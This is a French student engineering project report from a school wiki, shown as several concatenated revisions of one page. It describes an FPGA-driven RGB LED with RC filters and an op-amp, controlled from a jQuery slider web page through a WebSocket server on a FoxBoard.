La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Fichier:ProjetSC.zip

2015-04-16T13:31:10Z

Smaia : Codes

Codes

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:21:56Z

Smaia : /* Prise en main : */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

===Installation :===

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:19:16Z

Smaia : /* Partie informatique */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

